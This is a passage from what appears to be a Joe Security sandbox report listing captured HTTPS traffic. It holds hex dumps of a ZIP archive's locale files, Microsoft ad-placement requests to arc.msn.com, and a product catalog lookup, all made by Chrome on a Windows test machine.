35 aa 55 20 4d 91 c5 47 b0 c4 00 3a 29 0f 7c c6 45 9f ce 87 45 de 55 9b b2 b1 d7 92 d2 7b d8 9f f3 07 b1 8f 2c 76 94 dc 
00 d8 0c ed b0 45 2e 6f 82 ad f4 4e 37 ca a5 9d 1a 
Data Ascii: w;=_-5,;ZA`@}lD@n`];`hMT{\xa9AXw%5x2*hC)v0~h(QPq!Ex[h0yO^#b)f.w\Dv5U MG:)|EEU{,vE.oN7

2021-11-25 16:27:48 UTC 1264 IN Data Raw: 96 42 1a e8 25 e4 bd c9 e9 a8 bd 36 e6 7b 58 18 d2 d3 07 df c1 be 6c 0f 0f 66 2b b8 29 dd f1 84 d4 69 48 2d 
76 2e a8 3d 69 7f 41 11 ac b6 74 0e 2e 05 c7 22 56 18 84 b5 6a 33 4b 56 b1 c9 52 62 9d cc 18 de f5 f7 cb 0c ae 28 7b 34 
5f f1 40 73 6b df 0a 4f 6e 50 17 6c 18 0c 7a c6 18 c8 3d 65 f3 0e c6 92 04 bb 90 e1 25 51 eb 17 4a 82 58 fb 11 77 17 6b 6c
ff 8a 7f 0b af c2 62 97 34 d9 ea 7a c3 9f 61 fd 41 67 d6 d0 4e 86 fa 5a b7 bc 0e 04 33 d4 db de 03 33 03 b2 17 e6 e5 a6 7d 
05 4f eb 6a 51 74 6a 4a cc 68 11 53 f9 2a 1a f8 03 bf a7 2d ac 33 53 4e b9 c5 ae 5a fb 67 cd d7 7d e1 47 bf 58 77 6b 50 
17 9f 45 63 6b cd 3c d8 69 0b 74 9e 5c 5d 33 8e db c8 40 16 d3 e7 96 b5 1a c3 b9 59 c4 ce 5a df 14 c6 e1 5c cd da fb fe 
b8 ae 09 67 8d dd 2c b8 dd 88 5f d7 69 11 4b d7 00 
Data Ascii: B%6{Xlf+)iH-v.=iAt."Vj3KVRb({4_@skOnPlz=e%QJXwklb4zaAgNZ33}OjQtjJhS*-3SNZg}GXwkPEck<it\]
3@YZ\g,_iK

2021-11-25 16:27:48 UTC 1265 IN Data Raw: 0a cf 35 db 92 22 69 16 c1 61 31 ed d4 6b fe 7c 68 5e 9e 16 9d 7c 56 d0 eb 99 78 96 d3 37 8c ac a7 7c bf 5f d4 
65 74 58 b4 b7 14 bd ec 3f d6 d7 af f5 38 5c b7 51 6b 7e db f5 56 e9 bd 39 57 26 f2 ab b7 ee 30 2c a1 b6 18 6d 7d fb ba 09
9e 67 cd 97 87 db 8b f9 da 6c 97 df fc cd 33 e8 e5 c9 ca 9f 36 4f 31 a6 61 75 3e de 1c ef f6 5b fd 04 62 1c 3a d7 0b 82 6b 
0c 37 3d a9 cf 24 1b 6f eb 2e f9 70 6e ee b0 78 a2 c6 66 2a 2a 36 7a 46 63 90 6f 2c b0 40 9f 2d 00 f7 b2 8b ad 9c af 1f f5 
b7 e6 f0 bc 30 5e 2b ce d2 97 f7 de ba 0e e4 f0 7e e1 6f db 0f 39 de be fc f1 af 3f fe f8 d7 bf 01 50 4b 07 08 16 b7 56 d0 ec 
0f 00 00 a9 22 00 00 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 09 00 00 00 
00 00 00 00 00 00 10 00 ed 01 00 00 00 00 
Data Ascii: 5"ia1k|h^|Vx7|_etX?8\Qk~V9W&0,m}gl36O1au>[b:k7=$o.pnxf**6zFco,@-0^+~o9?PKV"PK*Q

2021-11-25 16:27:48 UTC 1266 IN Data Raw: 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 a5 89 
00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6c 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 32 77 9f 34 08 13 00 00 f4 5f 00 
00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 e1 89 00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6c 2f 6d 65 73 73 61 67 65 73 2e 
6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 
00 00 00 10 00 ed 01 30 9d 00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6e 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 7a 
25 be a9 78 0e 00 00 be 2d 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 6c 9d 00 00 5f 6c 6f 63 61 6c 65 73 2f 65 6e 
2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 
Data Ascii: *Q_locales/el/PK)Q2w4__locales/el/messages.jsonPK*Q0_locales/en/PK)Qz%x-l_locales/en/messages.jsonPK

2021-11-25 16:27:48 UTC 1268 IN Data Raw: 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 4d 32 01 00 5f 6c 6f 63 61 6c 65 73 2f 68 
72 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 58 3d ee 03 7a 0f 00 00 65 31 00 00 19 00 00 00 00 00 00 00 00 00 
00 00 a4 01 89 32 01 00 5f 6c 6f 63 61 6c 65 73 2f 68 72 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 
00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 4a 42 01 00 
5f 6c 6f 63 61 6c 65 73 2f 68 75 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 5d 1c 7c 4f 11 10 00 00 16 36 00 00 
19 00 00 00 00 00 00 00 00 00 00 00 a4 01 86 42 01 00 5f 6c 6f 63 61 6c 65 73 2f 68 75 2f 6d 65 73 73 61 67 65 73 2e 6a 
73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 
Data Ascii: M2_locales/hr/PK)QX=ze12_locales/hr/messages.jsonPK*QJB_locales/hu/PK)Q]|O6B_locales/hu/messages.j
sonPK*Q

Timestamp
kBytes
transferred Direction Data

Copyright Joe Security LLC 2021 Page 137 of 214



2021-11-25 16:27:48 UTC 1269 IN Data Raw: 00 00 00 00 10 00 ed 01 f8 d7 01 00 5f 6c 6f 63 61 6c 65 73 2f 6d 6c 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 
8c 04 51 a8 68 87 8a 8d 12 00 00 0d 65 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 34 d8 01 00 5f 6c 6f 63 61 6c 65 
73 2f 6d 6c 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 
00 00 00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 08 eb 01 00 5f 6c 6f 63 61 6c 65 73 2f 6d 72 2f 50 4b 01 02 
14 03 14 00 08 08 08 00 29 8c 04 51 b9 ab d8 b2 b5 11 00 00 16 5a 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 44 
eb 01 00 5f 6c 6f 63 61 6c 65 73 2f 6d 72 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 
2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 
Data Ascii: _locales/ml/PK)Qhe4_locales/ml/messages.jsonPK*Q_locales/mr/PK)QZD_locales/mr/messages.jsonPK*Q

2021-11-25 16:27:48 UTC 1270 IN Data Raw: 6f 63 61 6c 65 73 2f 73 6c 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 e5 6b e8 ea 60 0f 00 00 d8 31 
00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 11 80 02 00 5f 6c 6f 63 61 6c 65 73 2f 73 6c 2f 6d 65 73 73 61 67 65 73 
2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0c 00 00 00 00 00 
00 00 00 00 10 00 ed 01 b8 8f 02 00 5f 6c 6f 63 61 6c 65 73 2f 73 72 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 
04 04 ee a1 ba 11 00 00 94 5d 00 00 19 00 00 00 00 00 00 00 00 00 00 00 a4 01 f4 8f 02 00 5f 6c 6f 63 61 6c 65 73 2f 73 
72 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 
00 00 00 00 0c 00 00 00 00 00 00 00 00 00 10 00 ed 01 f5 a1 02 
Data Ascii: ocales/sl/PK)Qk`1_locales/sl/messages.jsonPK*Q_locales/sr/PK)Q]_locales/sr/messages.jsonPK*Q

2021-11-25 16:27:48 UTC 1271 IN Data Raw: 14 03 14 00 08 08 08 00 29 8c 04 51 5c 3f f4 81 9e 0f 00 00 d0 35 00 00 19 00 00 00 00 00 00 00 00 00 00 00 
a4 01 f4 2a 03 00 5f 6c 6f 63 61 6c 65 73 2f 7a 68 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 
08 08 00 2a 8c 04 51 00 00 00 00 02 00 00 00 00 00 00 00 0f 00 00 00 00 00 00 00 00 00 10 00 ed 01 d9 3a 03 00 5f 6c 6f 
63 61 6c 65 73 2f 7a 68 5f 54 57 2f 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 80 77 20 c9 0c 10 00 00 f7 36 00 00 
1c 00 00 00 00 00 00 00 00 00 00 00 a4 01 18 3b 03 00 5f 6c 6f 63 61 6c 65 73 2f 7a 68 5f 54 57 2f 6d 65 73 73 61 67 65 
73 2e 6a 73 6f 6e 50 4b 01 02 14 03 14 00 08 08 08 00 29 8c 04 51 4f 99 ea ee 33 b2 02 00 aa 44 09 00 0a 00 00 00 00 
00 00 00 00 00 00 00 a4 01 6e 4b 03 00 61 6e 67 75 6c 61 72 
Data Ascii: )Q\?5*_locales/zh/messages.jsonPK*Q:_locales/zh_TW/PK)Qw 6;_locales/zh_TW/messages.jsonP
K)QO3DnKangular

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

27 192.168.2.4 49825 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:09 UTC 1273 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=338389&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20211125T162807Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=4d41d7c9857d49719dc07b72fd93ce23&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1269975&metered=false&nettype=ethernet&npid=sc-
338389&oemName=iipced%2C%20Inc.&oemid=iipced%2C%20Inc.&ossku=Professional&smBiosDm=iipced7%2C1&tl=2&
tsu=1269975&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32068&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAU+CVBfQcFvEv2DZI9cfqZBAbEzGMAAbujVbCDVptmlt968P3qCdflDmM4DtYY
v+w7BbmmDR1diN6waiXW6pf+OMQuk05FkO4mXhhkJDXwVvlK8Qgnl7d6wmUc2PCpOTIxQENqHpwJI/vVV02mx8K3cL
fymGDG14uf+/fr6vWCJEFTXwqT1tagj4uwu1v+DDNorzsJAUbwdr8tiNqW5YSTTfES8Smc4E0t2BMC2L3Z23e3MTnG
JNKlxcPbjqYS665huso5k0Sq7BHpyvK4jlhdyDElufoTPXIqkDvVKbg/grQUNsRHZi3cIHxoLRLzOAdEd9T4rFAqy2
gP1RVT5W4pFRoflNOIy+fJaovyRKTztYpmgRikBMgDZgAACJU/EpcxYcROqAEOnhRS1LiiT5EJbT8+vb59u9AAJGtf
rUUMU4Ou0jN9kKhfnhDfKQzyo072jnT5NZ36xe6g4f4v5ZDpje9DbXh+owKkkApeYJ9ixLGLJOWtfR21qqmfA6sn38
QOv1Ba29FR0AKGStbcEEXd2DiWRhlaaBYOqHDhHU954sOmhwzCk5PCuLw1uWWmKFefJz3oWAS4Su3Gbg
xPQIUOtZ17K53kfNIOb5CgruefgTdI6w6nn89vLdwNqFF8Xr2wnOiV746L+EAEKs9sHEs03XgT4X2I5GJZ70MndTsV
I6k7VW6DpmBraxUkf1GLLMO27LmXDj6vs9zvjzxe31mL61fQHs+c7/m0i0G4uamQIKMKItQ2LgLwPDPOSqYZrnoOxD
J1SGMfgRtm6SJ/Ow01pUWVNIBIWgGsiiEy2ALU+X9kEQYoeELCG311iJs5xw+4dvYYaWN6vjLOERFW2LSGjlwerOSi
MzRzDzXcJkOtmUtuppXWrDqXhx+z8KhSHLFuaLdUcunhPLTM1eGFGFrJ05a1ACLxNuZTe48bC7f5ck28XsSO+9s8Nt
bWWh3B1QE=&p=
Cache-Control: no-cache
MS-CV: GPCdJEMyOU63mOgS.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2021-11-25 16:28:09 UTC 1275 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3021
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116219-T700333446-C128000000001627409+B+P10+S1"},{"OPTOUTSTATE":"256"
}]
X-ARC-SIG: ffSgZtFedDQ/FY69fmi6OyJ4dKzs5PucCgsNgZI/Th/TQXrvfYi3JGSDYmjKj3vuouwuPqmJYE8y/EU
uNGyO92ywWsXfdwvRm5OHyY93Yo+6L15fN/WpMd3tmRYTx4AEc0WvGEric3gsNTCF4zemu/7v8BqbY1RTJSk4i7/o0
Za2bYXAEK4R5GEjnHRVc+ZKow0G8llfYU1bO07Adiz2IQWm4I5sJHXh2hSaT8QJCPI8IroxFT3P0rCQE2GIaqNWrxE
iJfXkooyjkDric+rxZfjhMvDKw9pEAdjeLkLUoFxSupgCgxzyu02emih/gmCwkJz5smiDhc8F6uLiDLAehg==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:28:08 GMT
Connection: close
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2021-11-25 16:28:09 UTC 1276 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 
69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64
72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 
6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 
5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 
74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 
74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Timestamp
kBytes
transferred Direction Data

Session ID Source IP Source Port Destination IP Destination Port Process

28 192.168.2.4 49826 20.82.209.183 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred Direction Data

2021-11-25 16:28:09 UTC 1278 OUT GET /v3/Delivery/Placement?pubid=da63df93-3dbc-42ae-a505-b34988683ac7&pid=280815&adm=2&w=1&h=1&wpx=1
&hpx=1&fmt=json&cltp=app&dim=le&rafb=0&nct=1&pm=1&cfmt=text,image,poly&sft=jpeg,png,gif&topt=1&poptin=0&locali
d=w:D9BC7EDF-91E8-C8ED-3ED4-3B144B30C00C&ctry=US&time=20211125T162808Z&lc=en-US&pl=en-US&i
dtp=mid&uid=a9223225-82ba-4622-a95e-dcecd6738abd&aid=00000000-0000-0000-0000-000000000000&ua=Windows
ShellClient%2F9.0.40929.0%20%28Windows%29&asid=4d86f86980964448af62e4890aa93346&ctmode=MultiSession&
arch=x64&cdm=1&cdmver=10.0.17134.1&devfam=Windows.Desktop&devform=Unknown&devosver=10.0.17134.1&disp
horzres=1280&dispsize=17.1&dispvertres=1024&isu=0&lo=1269975&metered=false&nettype=ethernet&npid=sc-
280815&oemName=iipced%2C%20Inc.&oemid=iipced%2C%20Inc.&ossku=Professional&smBiosDm=iipced7%2C1&tl=2&
tsu=1269975&waasBldFlt=1&waasCfgExp=1&waasCfgSet=1&waasRetail=1&waasRing= HTTP/1.1
Accept-Encoding: gzip, deflate
X-SDK-CACHE: chs=0&imp=0&chf=0&ds=50583&fs=32068&sc=6
X-SDK-HW-TOKEN: t=EwDYAppeBAAU+CVBfQcFvEv2DZI9cfqZBAbEzGMAAbujVbCDVptmlt968P3qCdflDmM4DtYY
v+w7BbmmDR1diN6waiXW6pf+OMQuk05FkO4mXhhkJDXwVvlK8Qgnl7d6wmUc2PCpOTIxQENqHpwJI/vVV02mx8K3cL
fymGDG14uf+/fr6vWCJEFTXwqT1tagj4uwu1v+DDNorzsJAUbwdr8tiNqW5YSTTfES8Smc4E0t2BMC2L3Z23e3MTnG
JNKlxcPbjqYS665huso5k0Sq7BHpyvK4jlhdyDElufoTPXIqkDvVKbg/grQUNsRHZi3cIHxoLRLzOAdEd9T4rFAqy2
gP1RVT5W4pFRoflNOIy+fJaovyRKTztYpmgRikBMgDZgAACJU/EpcxYcROqAEOnhRS1LiiT5EJbT8+vb59u9AAJGtf
rUUMU4Ou0jN9kKhfnhDfKQzyo072jnT5NZ36xe6g4f4v5ZDpje9DbXh+owKkkApeYJ9ixLGLJOWtfR21qqmfA6sn38
QOv1Ba29FR0AKGStbcEEXd2DiWRhlaaBYOqHDhHU954sOmhwzCk5PCuLw1uWWmKFefJz3oWAS4Su3Gbg
xPQIUOtZ17K53kfNIOb5CgruefgTdI6w6nn89vLdwNqFF8Xr2wnOiV746L+EAEKs9sHEs03XgT4X2I5GJZ70MndTsV
I6k7VW6DpmBraxUkf1GLLMO27LmXDj6vs9zvjzxe31mL61fQHs+c7/m0i0G4uamQIKMKItQ2LgLwPDPOSqYZrnoOxD
J1SGMfgRtm6SJ/Ow01pUWVNIBIWgGsiiEy2ALU+X9kEQYoeELCG311iJs5xw+4dvYYaWN6vjLOERFW2LSGjlwerOSi
MzRzDzXcJkOtmUtuppXWrDqXhx+z8KhSHLFuaLdUcunhPLTM1eGFGFrJ05a1ACLxNuZTe48bC7f5ck28XsSO+9s8Nt
bWWh3B1QE=&p=
Cache-Control: no-cache
MS-CV: GPCdJEMyOU63mOgS.0
User-Agent: WindowsShellClient/9.0.40929.0 (Windows)
X-SDK-HWF: tch0,m301,m751,mA01,mT01
Host: arc.msn.com
Connection: Keep-Alive

2021-11-25 16:28:09 UTC 1281 IN HTTP/1.1 200 OK
Cache-Control: no-store, no-cache
Pragma: no-cache
Content-Length: 3021
Content-Type: application/json; charset=utf-8
Expires: Mon, 01 Jan 0001 00:00:00 GMT
Server: Microsoft-IIS/10.0
ARC-RSP-DBG: [{"RADIDS":"1,P425116123-T700333390-C128000000001627409+B+P20+S1"},{"OPTOUTSTATE":"256"
}]
X-ARC-SIG: GCgtvyneffccPmzydRjb9kJIPn5XvPODD2PtyV9y2/EP21soy+f7l6BQj56gkjMf5km5/UTH+DPEIdiUMrgkdbxvO
uSOhXoj8jZxbBMk+cx6gqNmAQWfaWagZ7aojRI+jpRSs2OkfCMaH9ft1FQKiFil9M6BHfRJ5lAEFuz2str4q5/+FJw
2CQnbCkpMy8Y+k3x567qDRe1oeICAmtLUrqGePWES6YJjI9vFGUZt1sq7V/qb6sY0x6l39Z6GYdz4CecXj1oiUtquy
nL1p9Jb9M/cEJzhfUNLUb6/hti8VYVjR1J8fkDBzGBEF0W4F+c4/COLbdq68QaSE7+0qwaPLQ==
Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Strict-Transport-Security: max-age=31536000; includeSubDomains
Date: Thu, 25 Nov 2021 16:28:08 GMT
Connection: close

2021-11-25 16:28:09 UTC 1281 IN Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 69 74 65 6d 73 22 3a 5b 7b 22 
69 74 65 6d 22 3a 22 7b 5c 22 66 5c 22 3a 5c 22 72 61 66 5c 22 2c 5c 22 76 5c 22 3a 5c 22 31 2e 30 5c 22 2c 5c 22 72 64
72 5c 22 3a 5b 7b 5c 22 63 5c 22 3a 5c 22 43 44 4d 5c 22 2c 5c 22 75 5c 22 3a 5c 22 53 75 62 73 63 72 69 62 65 64 43 6f 
6e 74 65 6e 74 5c 22 7d 5d 2c 5c 22 61 64 5c 22 3a 7b 5c 22 63 6c 61 73 73 5c 22 3a 5c 22 63 6f 6e 74 65 6e 74 5c 22 2c 
5c 22 63 6f 6c 6c 65 63 74 69 6f 6e 73 5c 22 3a 5b 5d 2c 5c 22 69 74 65 6d 50 72 6f 70 65 72 74 79 4d 61 6e 69 66 65 73 
74 5c 22 3a 7b 5c 22 6e 6f 4f 70 5c 22 3a 7b 5c 22 74 79 70 65 5c 22 3a 5c 22 61 63 74 69 6f 6e 5c 22 7d 7d 2c 5c 22 69 
74 65 6d 73 5c 22 3a 5b 7b 5c 22 70 72 6f 70 65 72 74 69 
Data Ascii: {"batchrsp":{"ver":"1.0","items":[{"item":"{\"f\":\"raf\",\"v\":\"1.0\",\"rdr\":[{\"c\":\"CDM\",\"u\":\"SubscribedCont
ent\"}],\"ad\":{\"class\":\"content\",\"collections\":[],\"itemPropertyManifest\":{\"noOp\":{\"type\":\"action\"}},\"items\":[{\"properti

Session ID Source IP Source Port Destination IP Destination Port Process

29 192.168.2.4 49832 20.54.110.249 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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2021-11-25 16:28:37 UTC 1284 OUT GET /v7.0/products/lookup?alternateId=PackageFamilyName&value=Disney.37853FC22B2CE_6rarf9sa4v8jt&mar
ket=US&languages=en-US%2Cen%2Cneutral&fieldsTemplate=InstallAgent&moId=Public&oemId=Public&scmId=Public 
HTTP/1.1
Connection: Keep-Alive
Content-Type: application/json
User-Agent: Install Service
MS-CV: xmS2ZCk62ES3ilGk.0.2.4
Host: displaycatalog.mp.microsoft.com

2021-11-25 16:28:37 UTC 1285 IN HTTP/1.1 200 OK
Connection: close
Date: Thu, 25 Nov 2021 16:28:36 GMT
Content-Type: application/json; charset=utf-8
Server: Kestrel
Transfer-Encoding: chunked
Vary: Authorization
MS-CorrelationId: 9d7c4c34-568c-46f5-b306-0eca9a4858c9
MS-RequestId: 182c1729-de4f-49bb-97bf-00ec9bc63719
MS-CV: xmS2ZCk62ES3ilGk.0.2.4.2955977261.0.1.2955977262.0.0
X-Content-Type-Options: nosniff
MS-ServerId: 9
Region: neu
Node: aks-systempool-37630073-vmss00002n
MS-DocumentVersions: 9NXQXXLFST89|1649

2021-11-25 16:28:37 UTC 1285 IN Data Raw: 66 39 32 63 0d 0a 7b 22 42 69 67 49 64 73 22 3a 5b 22 39 4e 58 51 58 58 4c 46 53 54 38 39 22 5d 2c 22 48 61 
73 4d 6f 72 65 50 61 67 65 73 22 3a 66 61 6c 73 65 2c 22 50 72 6f 64 75 63 74 73 22 3a 5b 7b 22 4c 61 73 74 4d 6f 64 69 
66 69 65 64 44 61 74 65 22 3a 22 32 30 32 31 2d 31 31 2d 32 30 54 30 35 3a 32 31 3a 33 32 2e 36 36 31 34 32 30 35 5a 
22 2c 22 4c 6f 63 61 6c 69 7a 65 64 50 72 6f 70 65 72 74 69 65 73 22 3a 5b 7b 22 46 72 61 6e 63 68 69 73 65 73 22 3a 5b 
5d 2c 22 49 6d 61 67 65 73 22 3a 5b 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 30 31 38 33 31 36 37 38 31 35 32 38 31 38 
32 34 33 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 7
2 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 
Data Ascii: f92c{"BigIds":["9NXQXXLFST89"],"HasMorePages":false,"Products":[{"LastModifiedDate":"2021-11-20T05
:21:32.6614205Z","LocalizedProperties":[{"Franchises":[],"Images":[{"FileId":"3001831678152818243","EISListingIdentifier
":null,"BackgroundColor":"transpare

2021-11-25 16:28:37 UTC 1289 IN Data Raw: 31 32 34 31 37 30 2e 65 38 39 61 34 64 63 65 2d 66 64 39 61 2d 34 61 31 30 2d 62 38 65 34 2d 61 36 63 33 
61 61 31 63 30 35 35 65 2e 31 33 35 32 66 66 62 62 2d 36 65 36 61 2d 34 30 38 37 2d 38 39 34 32 2d 36 33 66 31 39 35 
62 33 34 32 38 66 22 2c 22 57 69 64 74 68 22 3a 36 36 7d 2c 7b 22 46 69 6c 65 49 64 22 3a 22 33 30 37 30 36 36 39 37 3
4 30 32 35 30 35 31 34 30 30 37 22 2c 22 45 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 
2c 22 42 61 63 6b 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 
6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 36 30 32 34 2c 22 46 6f 72 65 67 72 6f 75 6e 64 
43 6f 6c 6f 72 22 3a 22 22 2c 22 48 65 69 67 68 74 22 3a 38 38 2c 
Data Ascii: 124170.e89a4dce-fd9a-4a10-b8e4-a6c3aa1c055e.1352ffbb-6e6a-4087-8942-63f195b3428f","Width":66},{"Fi
leId":"3070669740250514007","EISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":6
024,"ForegroundColor":"","Height":88,

2021-11-25 16:28:37 UTC 1293 IN Data Raw: 49 53 4c 69 73 74 69 6e 67 49 64 65 6e 74 69 66 69 65 72 22 3a 6e 75 6c 6c 2c 22 42 61 63 6b 67 72 6f 75 6e 
64 43 6f 6c 6f 72 22 3a 22 74 72 61 6e 73 70 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 
53 69 7a 65 49 6e 42 79 74 65 73 22 3a 37 39 35 34 31 2c 22 46 6f 72 65 67 72 6f 75 6e 64 43 6f 6c 6f 72 22 3a 22 22 2c 
22 48 65 69 67 68 74 22 3a 33 30 30 2c 22 49 6d 61 67 65 50 6f 73 69 74 69 6f 6e 49 6e 66 6f 22 3a 22 22 2c 22 49 6d 61 
67 65 50 75 72 70 6f 73 65 22 3a 22 54 69 6c 65 22 2c 22 55 6e 73 63 61 6c 65 64 49 6d 61 67 65 53 48 41 32 35 36 48 
61 73 68 22 3a 22 33 38 30 6c 77 36 43 53 43 31 58 33 69 45 42 72 4c 4e 75 71 66 68 35 2b 4c 63 41 43 74 2f 70 37 46 
72 42 52 46 79 77 65 76 70 38 3d 22 2c 22 55 72 69 22 3a 22 2f 
Data Ascii: ISListingIdentifier":null,"BackgroundColor":"transparent","Caption":"","FileSizeInBytes":79541,"ForegroundCo
lor":"","Height":300,"ImagePositionInfo":"","ImagePurpose":"Tile","UnscaledImageSHA256Hash":"380lw6CSC1X3iEBrL
Nuqfh5+LcACt/p7FrBRFywevp8=","Uri":"/

2021-11-25 16:28:37 UTC 1297 IN Data Raw: 61 72 65 6e 74 22 2c 22 43 61 70 74 69 6f 6e 22 3a 22 22 2c 22 46 69 6c 65 53 69 7a 65 49 6e 42 79 74 65 73 
